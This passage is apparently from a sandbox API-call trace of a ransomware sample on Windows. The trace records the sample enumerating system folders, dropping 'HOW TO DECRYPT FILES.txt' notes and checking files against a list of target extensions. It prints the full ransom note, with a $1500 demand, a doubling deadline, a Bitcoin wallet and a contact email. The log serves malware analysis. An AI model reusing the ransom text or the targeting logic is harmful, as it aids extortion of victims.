lpString1="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\", lpString2="DiagPackage.diagpkg" | out: lpString1="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\DiagPackage.diagpkg") returned="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\DiagPackage.diagpkg" [0126.959] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa1154c92, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa1154c92, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa1154c92, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x10600, dwReserved0=0x0, dwReserved1=0x0, cFileName="DiagPackage.dll", cAlternateFileName="")) returned 1 [0126.959] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.959] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\DiagPackage.diagpkg") returned="DiagPackage.diagpkg" [0126.959] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\") returned="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\" [0126.959] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\") returned="" [0126.959] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\HOW TO DECRYPT FILES.txt" [0126.960] GetFileAttributesA (lpFileName="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\windowsmediaplayerconfiguration\\how to decrypt files.txt")) returned 0xffffffff [0126.960] CreateFileA (lpFileName="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\windowsmediaplayerconfiguration\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0126.960] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.960] CloseHandle (hObject=0xffffffff) returned 0 [0126.960] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\", lpString2="DiagPackage.dll" | out: lpString1="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\DiagPackage.dll") returned="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\DiagPackage.dll" [0126.961] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e44a29c, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22f23962, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e44a29c, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0126.961] lstrcmpA (lpString1=".", lpString2="en-US") returned -1 [0126.961] lstrcmpA (lpString1="..", lpString2="en-US") returned -1 [0126.961] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\DiagPackage.dll") returned="DiagPackage.dll" [0126.961] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\", lpString2="en-US" | out: lpString1="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\en-US") returned="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\en-US" [0126.961] FindFirstFileA (in: lpFileName="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\en-US\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e44a29c, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22f23962, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e44a29c, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x501594, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0126.963] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0126.963] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e44a29c, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22f23962, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e44a29c, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x500000, cFileName="..", cAlternateFileName="")) returned 1 [0126.963] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0126.963] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0126.963] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfded41b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x10b3266c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfded41b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x5b8, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="CL_LocalizationData.psd1", cAlternateFileName="")) returned 1 [0126.963] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0126.963] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\en-US\\*.*") returned="*.*" [0126.963] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\en-US\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\en-US\\") returned="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\en-US\\" [0126.964] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\en-US\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\en-US\\") returned="" [0126.964] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\en-US\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\en-US\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\en-US\\HOW TO DECRYPT FILES.txt" [0126.964] GetFileAttributesA (lpFileName="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\en-US\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\windowsmediaplayerconfiguration\\en-us\\how to decrypt files.txt")) returned 0xffffffff [0126.964] CreateFileA (lpFileName="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\en-US\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\windowsmediaplayerconfiguration\\en-us\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0126.964] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.964] CloseHandle (hObject=0xffffffff) returned 0 [0126.964] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\en-US\\", lpString2="CL_LocalizationData.psd1" | out: lpString1="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\en-US\\CL_LocalizationData.psd1") returned="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\en-US\\CL_LocalizationData.psd1" [0126.965] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfded41b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x10b3266c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfded41b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0x0, dwReserved1=0x0, cFileName="DiagPackage.dll.mui", cAlternateFileName="")) returned 1 [0126.965] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0126.965] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\en-US\\CL_LocalizationData.psd1") returned="CL_LocalizationData.psd1" [0126.965] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\en-US\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\en-US\\") returned="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\en-US\\" [0126.965] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\en-US\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\en-US\\") returned="" [0126.965] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\en-US\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\en-US\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\en-US\\HOW TO DECRYPT FILES.txt" [0126.965] GetFileAttributesA (lpFileName="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\en-US\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\windowsmediaplayerconfiguration\\en-us\\how to decrypt files.txt")) returned 0xffffffff [0126.965] CreateFileA (lpFileName="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\en-US\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\windowsmediaplayerconfiguration\\en-us\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0126.966] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.966] CloseHandle (hObject=0xffffffff) returned 0 [0126.966] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\en-US\\", lpString2="DiagPackage.dll.mui" | out: lpString1="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\en-US\\DiagPackage.dll.mui") returned="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\en-US\\DiagPackage.dll.mui" [0126.966] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfded41b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x10b3266c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfded41b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0x0, dwReserved1=0x0, cFileName="DiagPackage.dll.mui", cAlternateFileName="")) returned 0 [0126.966] FindClose (in: hFindFile=0x5025d8 | out: hFindFile=0x5025d8) returned 1 [0126.966] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xddf61c25, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0xddf61c25, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0xddf61c25, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2d9, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="RS_ConfigurationErrors.ps1", cAlternateFileName="")) returned 1 [0126.966] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.967] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\*.*") returned="*.*" [0126.967] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\") returned="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\" [0126.967] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\") returned="" [0126.967] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\HOW TO DECRYPT FILES.txt" [0126.967] GetFileAttributesA (lpFileName="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\windowsmediaplayerconfiguration\\how to decrypt files.txt")) returned 0xffffffff [0126.967] CreateFileA (lpFileName="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\windowsmediaplayerconfiguration\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0126.967] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.967] CloseHandle (hObject=0xffffffff) returned 0 [0126.968] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\", lpString2="RS_ConfigurationErrors.ps1" | out: lpString1="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\RS_ConfigurationErrors.ps1") returned="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\RS_ConfigurationErrors.ps1" [0126.968] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc074fb, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xfc074fb, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xddf61c25, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x469, dwReserved0=0x0, dwReserved1=0x0, cFileName="RS_NetworkCacheCorrupted.ps1", cAlternateFileName="")) returned 1 [0126.968] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.968] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\RS_ConfigurationErrors.ps1") returned="RS_ConfigurationErrors.ps1" [0126.968] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\") returned="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\" [0126.968] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\") returned="" [0126.968] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\HOW TO DECRYPT FILES.txt" [0126.968] GetFileAttributesA (lpFileName="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\windowsmediaplayerconfiguration\\how to decrypt files.txt")) returned 0xffffffff [0126.968] CreateFileA (lpFileName="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\windowsmediaplayerconfiguration\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0126.969] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.969] CloseHandle (hObject=0xffffffff) returned 0 [0126.969] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\", lpString2="RS_NetworkCacheCorrupted.ps1" | out: lpString1="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\RS_NetworkCacheCorrupted.ps1") returned="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\RS_NetworkCacheCorrupted.ps1" [0126.969] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc537b5, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xfc537b5, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xde06c5b7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x285, dwReserved0=0x0, dwReserved1=0x0, cFileName="TS_IsWMPUnavailable.ps1", cAlternateFileName="")) returned 1 [0126.969] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.969] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\RS_NetworkCacheCorrupted.ps1") returned="RS_NetworkCacheCorrupted.ps1" [0126.969] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\") returned="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\" [0126.970] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\") returned="" [0126.970] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\HOW TO DECRYPT FILES.txt" [0126.970] GetFileAttributesA (lpFileName="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\windowsmediaplayerconfiguration\\how to decrypt files.txt")) returned 0xffffffff [0126.970] CreateFileA (lpFileName="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\windowsmediaplayerconfiguration\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0126.970] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.970] CloseHandle (hObject=0xffffffff) returned 0 [0126.970] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\", lpString2="TS_IsWMPUnavailable.ps1" | out: lpString1="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\TS_IsWMPUnavailable.ps1") returned="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\TS_IsWMPUnavailable.ps1" [0126.971] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfcebd29, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xfcebd29, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xde092715, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xbee, dwReserved0=0x0, dwReserved1=0x0, cFileName="TS_NetworkCacheCorrupted.ps1", cAlternateFileName="")) returned 1 [0126.971] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0126.971] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\TS_IsWMPUnavailable.ps1") returned="TS_IsWMPUnavailable.ps1" [0126.971] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\") returned="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\" [0126.972] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\") returned="" [0126.972] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\HOW TO DECRYPT FILES.txt" [0126.972] GetFileAttributesA (lpFileName="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\windowsmediaplayerconfiguration\\how to decrypt files.txt")) returned 0xffffffff [0126.972] CreateFileA (lpFileName="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\windowsmediaplayerconfiguration\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0126.972] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0126.972] WriteFile (in: hFile=0xffffffff, lpBuffer=0x4f4b00, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0) returned 0 [0126.972] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0126.972] CloseHandle (hObject=0xffffffff) returned 0 [0126.972] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\", lpString2="TS_NetworkCacheCorrupted.ps1" | out: lpString1="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\TS_NetworkCacheCorrupted.ps1") returned="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\TS_NetworkCacheCorrupted.ps1" [0126.972] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\TS_NetworkCacheCorrupted.ps1", pszSpec="*.ems") returned 0 [0126.973] lstrlenA (lpString="*.ems") returned 5 [0126.973] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\TS_NetworkCacheCorrupted.ps1", pszSpec="*.db") returned 0 [0126.973] lstrlenA (lpString="*.db") returned 4 [0126.973] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\TS_NetworkCacheCorrupted.ps1", pszSpec="*.dbf") returned 0 [0126.973] lstrlenA (lpString="*.dbf") returned 5 [0126.973] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\TS_NetworkCacheCorrupted.ps1", pszSpec="*.myox") returned 0 [0126.973] lstrlenA (lpString="*.myox") returned 6 [0126.973] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\TS_NetworkCacheCorrupted.ps1", pszSpec="*.myo") returned 0 [0126.973] lstrlenA (lpString="*.myo") returned 5 [0126.973] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\TS_NetworkCacheCorrupted.ps1", pszSpec="*.qbw") returned 0 [0126.973] lstrlenA (lpString="*.qbw") returned 5 [0126.973] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\TS_NetworkCacheCorrupted.ps1", pszSpec="*.qbb") returned 0 [0126.973] lstrlenA (lpString="*.qbb") returned 5 [0126.973] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerConfiguration\\TS_NetworkCacheCorrupted.ps1", 